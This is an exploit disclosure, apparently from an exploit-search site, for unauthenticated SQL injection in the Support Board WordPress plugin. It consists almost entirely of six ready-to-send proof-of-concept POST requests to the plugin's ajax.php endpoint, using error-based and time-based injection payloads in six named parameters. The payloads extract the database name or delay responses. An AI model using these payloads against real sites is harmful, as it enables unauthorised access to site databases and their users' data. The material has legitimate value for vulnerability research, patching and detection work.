## https://sploitus.com/exploit?id=WPEX-ID:CCF293EC-7607-412B-B662-5E237B8690CA
The login-cookie parameter is needed, but does not require to be logged in.
----- PoC 1: Error Based SQLi (status_code) -----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)
function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false
----- PoC 2: Error Based SQLi (department)-----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)
function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false
----- PoC 3: Error Based SQLi (user_id) -----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)
function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false
----- PoC 4: Time Based SQLi (conversation_id)-----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)
function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false
----- PoC 5: Time Based SQLi (conversation_status_code)-----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)
function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false
----- PoC 6: Time Based SQLi (recipient_id)-----
Request
POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)
function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false